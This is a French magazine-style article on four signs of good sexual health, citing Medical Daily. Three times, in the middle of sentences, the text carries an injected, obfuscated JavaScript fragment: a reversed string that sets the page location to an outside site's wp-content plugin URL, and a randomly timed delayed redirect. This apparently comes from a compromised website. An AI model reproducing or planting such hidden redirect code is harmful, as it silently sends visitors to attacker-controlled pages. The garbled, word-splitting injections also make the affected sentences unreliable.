SANTE: 4 signes que vous êtes en bonne santé sexuelle

Comment savoir si notre vie intime est “normale” ? Tout dépend de nos niveaux de satisfaction. Et de quelques autres critères…

On en parle parfois entre amis, mais ce type de question reste caché dans un coin de notre tête : “Suis-je dans la norme, sexuellement parlant ?” La réponse dépend d’un grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and nombre de critères, car la santé sexuelle ne se définit pas seulement d’un point de vue médical, mais aussi physique, émotionnel et social. La connexion entre notre corps et notre esprit, ainsi que la connaissance de notre intimité en sont la base. Et le fait d’avoir des relations sexuelles régulières ou pas n’a pas vraiment d’influence sur cette partie de nous. Le site américain Medical Daily a rédigé une liste des principales habitudes qui font de nous une personne en plus ou moins bonne santé sexuelle :

Aimer son corps

Pour être satisfait de sa vie intime, il est essentiel d’apprendre à bien vivre avec son corps. Associer des sentiments positifs lorsqu’on pense à notre poids, notre condition physique, notre attractivité et notre corps pendant l’acte permet de booster notre sexualité. Au contraire, une mauvaise santé ou une mauvaise image de notre corps peuvent la compliquer.

Communiquer

Savoir échanger avec notre partenaire à propos de ce qui nous plaît au lit demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande quelques efforts de communication, mais le résultat en vaut la peine. Sans cet échange, on risque de passer à côté de moments de pur plaisir. Dans un premier temps, si vous vous sentez trop timide pour aborder le sujet directement, vous pouvez juste faire savoir à votre partenaire que vous appréciez particulièrement ce qu’il/elle est en train de faire. Plus tard, vous pourrez vous familiariser avec les textoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tos coquins et n’importe quelle autre forme de communication qui vous met à l’aise.

Modifier la routine

Ce n’est pas difficile à deviner : une vie de couple heureuse a plus de chance d’être associée à une sexualité épanouie. Mais le quotidien et la routine peuvent gâcher le plaisir. C’est pourquoi de nombreux couples ressentent le besoin de pimenter leur vie sexuelle. Le changement n’a pas besoin d’être drastique, inutile de vous inspirer des films pornos ou de vous forcer à faire des choses extrêmes. Parfois, un simple changement de rythme ou quelques mots coquins suffisent à raviver la flamme de l’excitation.

Ne pas compter

Se concentrer sur le nombre de fois où vous faites l’amour par mois ou par an n’a aucun intérêt en termes de santé sexuelle. La qualité des rapports, ainsi que leur fréquence, varie au cours de la vie de chaque personne. Tout ce qui compte, c’est le niveau de satisfaction, indique Medical Daily. D’ailleurs, une étude menée en 2015 a montré qu’une fréquence élevée de rapports sexuels n’est pas forcément liée à une augmentation du niveau de bonheur.